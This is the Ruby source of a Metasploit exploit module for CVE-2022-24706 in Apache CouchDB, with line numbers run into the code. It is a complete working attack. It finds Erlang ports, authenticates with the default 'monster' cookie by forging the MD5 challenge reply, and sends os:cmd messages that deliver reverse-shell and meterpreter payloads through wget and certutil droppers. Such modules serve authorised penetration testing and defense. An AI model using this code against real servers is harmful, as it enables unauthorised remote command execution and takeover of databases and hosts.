Path: blob/master/modules/exploits/multi/http/apache_couchdb_erlang_rce.rb
28722 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::CmdStager10include Msf::Exploit::Retry11include Msf::Exploit::Powershell12prepend Msf::Exploit::Remote::AutoCheck13require 'msf/core/exploit/powershell'14require 'digest'1516# Constants required for communicating over the Erlang protocol defined here:17# https://www.erlang.org/doc/apps/erts/erl_dist_protocol.html18EPM_NAME_CMD = "\x00\x01\x6e".freeze19NAME_MSG = "\x00\x15n\x00\x07\x00\x03\x49\x9cAAAAAA@AAAAAAA".freeze20CHALLENGE_REPLY = "\x00\x15r\x01\x02\x03\x04".freeze21CTRL_DATA = "\x83h\x04a\x06gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03\x00\x00\x00\x00\x00w\x00w\x03rex".freeze22COOKIE = 'monster'.freeze23COMMAND_PREFIX = "\x83h\x02gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03\x00\x00\x00\x00\x00h\x05w\x04callw\x02osw\x03cmdl\x00\x00\x00\x01k".freeze2425def initialize(info = {})26super(27update_info(28info,29'Name' => 'Apache Couchdb Erlang RCE',30'Description' => %q{31In Apache CouchDB prior to 3.2.2, an attacker can access an improperly secured default installation without32authenticating and gain admin privileges.33},34'Author' => [35'Milton Valencia (wetw0rk)', # Erlang Cookie RCE discovery36'1F98D', # Erlang Cookie RCE exploit37'Konstantin Burov', # Apache CouchDB Erlang Cookie exploit38'_sadshade', # Apache CouchDB Erlang Cookie exploit39'jheysel-r7', # Msf Module40],41'References' => [42[ 'EDB', '49418' ],43[ 'URL', 'https://github.com/sadshade/CVE-2022-24706-CouchDB-Exploit'],44[ 'CVE', '2022-24706'],45],46'License' => MSF_LICENSE,47'Payload' => {48'MaxSize' => 60000 # Due to the 16-bit nature of the cmd in the compile_cmd method49},50'Privileged' => false,51'Targets' => [52[53'Unix Command',54{55'Platform' => 'unix',56'Arch' => ARCH_CMD,57'Type' => :unix_cmd,58'DefaultOptions' => {59'PAYLOAD' => 'cmd/unix/reverse_openssl'60}61}62],63[64'Linux Dropper',65{66'Platform' => 'linux',67'Arch' => [ARCH_X86, ARCH_X64],68'Type' => :linux_dropper,69'CmdStagerFlavor' => :wget,70'DefaultOptions' => {71'PAYLOAD' => 'linux/x86/meterpreter_reverse_tcp'72}73}74],75[76'Windows Command',77{78'Platform' => 'win',79'Arch' => ARCH_CMD,80'Type' => :win_cmd,81'DefaultOptions' => {82'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'83}84}85],86[87'Windows Dropper',88{89'Arch' => [ARCH_X86, ARCH_X64],90'Type' => :win_dropper,91'CmdStagerFlavor' => :certutil,92'DefaultOptions' => {93'PAYLOAD' => 'windows/x64/meterpreter_reverse_tcp'94}95}96],97[98'PowerShell Stager',99{100'Arch' => [ARCH_X86, ARCH_X64],101'Type' => :psh_stager,102'CmdStagerFlavor' => :certutil,103'DefaultOptions' => {104'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'105}106}107]108],109'DefaultTarget' => 0,110'DisclosureDate' => '2022-01-21',111'Notes' => {112'Stability' => [CRASH_SAFE],113'Reliability' => [REPEATABLE_SESSION],114'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]115}116)117)118119register_options(120[121Opt::RPORT(4369)122]123)124end125126def check127erlang_ports = get_erlang_ports128# If get_erlang_ports does not return an array of port numbers, the target is not vulnerable.129return Exploit::CheckCode::Safe('This endpoint does not appear to expose any erlang ports') if erlang_ports.empty?130131erlang_ports.each do |erlang_port|132# If connect_to_erlang_server returns a socket, it means authentication with the default cookie has been133# successful and the target as well as the specific socket used in this instance is vulnerable134sock = connect_to_erlang_server(erlang_port.to_i)135if sock.instance_of?(Socket)136@vulnerable_socket = sock137return Exploit::CheckCode::Vulnerable('Successfully connected to the Erlang Server with cookie: "monster"')138else139next140end141end142Exploit::CheckCode::Safe('This endpoint has an exposed erlang port(s) but appears to be a patched')143end144145# Connect to the Erlang Port Mapper Daemon to collect port numbers of running Erlang servers146#147# @return [Array] An array of port numbers for discovered Erlang Servers.148def get_erlang_ports149erlang_ports = []150begin151print_status("Attempting to connect to the Erlang Port Mapper Daemon (EDPM) socket at: #{datastore['RHOSTS']}:#{datastore['RPORT']}...")152connect(true, { 'RHOST' => datastore['RHOSTS'], 'RPORT' => datastore['RPORT'] })153# request Erlang nodes154sock.put(EPM_NAME_CMD)155sleep datastore['WfsDelay']156res = sock.get_once157unless res && res.include?("\x00\x00\x11\x11name couchdb")158print_error('Did not find any Erlang nodes')159return erlang_ports160end161162print_status('Successfully found EDPM socket')163res.each_line do |line|164erlang_ports << line.match(/\s(\d+$)/)[0]165end166rescue ::Rex::ConnectionError, ::EOFError, ::Errno::ECONNRESET => e167print_error("Error connecting to EDPM: #{e.class} #{e}")168disconnect169return erlang_ports170end171erlang_ports172end173174# Attempts to connect to an erlang server with a default erlang cookie of 'monster', which is the175# default erlang cookie value in Apache CouchDB installations before 3.2.2176#177# @return [Socket] Returns a socket that is connected and already authenticated to the vulnerable Apache CouchDB Erlang Server178def connect_to_erlang_server(erlang_port)179print_status('Attempting to connect to the Erlang Server with an Erlang Server Cookie value of "monster" (default in vulnerable instances of Apache CouchDB)...')180connect(true, { 'RHOST' => datastore['RHOSTS'], 'RPORT' => erlang_port })181print_status('Connection successful')182challenge = retry_until_truthy(timeout: 60) do183sock.put(NAME_MSG)184sock.get_once(5) # ok message185sock.get_once186end187# The expected successful response from the target should start with \x00\x1C188unless challenge && challenge.include?("\x00\x1C")189print_error('Connecting to the Erlang server was unsuccessful')190return191end192193challenge = challenge[9..12].unpack('N*')[0]194challenge_reply = "\x00\x15r\x01\x02\x03\x04"195md5 = Digest::MD5.new196md5.update(COOKIE + challenge.to_s)197challenge_reply << [md5.hexdigest].pack('H*')198sock.put(challenge_reply)199sleep datastore['WfsDelay']200challenge_response = sock.get_once201202if challenge_response.nil?203print_error('Authentication was unsuccessful')204return205end206print_status('Erlang challenge and response completed successfully')207208sock209rescue ::Rex::ConnectionError, ::EOFError, ::Errno::ECONNRESET => e210print_error("Error when connecting to Erlang Server: #{e.class} #{e} ")211disconnect212return213end214215def compile_cmd(cmd)216msg = ''217msg << COMMAND_PREFIX218msg << [cmd.length].pack('S>')219msg << cmd220msg << "jw\x04user"221payload = ("\x70" + CTRL_DATA + msg)222([payload.size].pack('N*') + payload)223end224225def execute_command(cmd, opts = {})226payload = compile_cmd(cmd)227print_status('Sending payload... ')228opts[:sock].put(payload)229sleep datastore['WfsDelay']230end231232def exploit_socket(sock)233case target['Type']234when :unix_cmd, :win_cmd235execute_command(payload.encoded, { sock: sock })236when :linux_dropper, :win_dropper237execute_cmdstager({ sock: sock })238when :psh_stager239execute_command(cmd_psh_payload(payload.encoded, payload_instance.arch.first), { sock: sock })240else241fail_with(Failure::BadConfig, 'Invalid target specified')242end243end244245def exploit246# If the check method has already been run, use the vulnerable socket that has already been identified247if @vulnerable_socket248exploit_socket(@vulnerable_socket)249else250erlang_ports = get_erlang_ports251fail_with(Failure::BadConfig, 'This endpoint does not appear to expose any erlang ports') unless erlang_ports.instance_of?(Array)252253erlang_ports.each do |erlang_port|254sock = connect_to_erlang_server(erlang_port.to_i)255next unless sock.instance_of?(Socket)256257exploit_socket(sock)258end259end260end261end262263264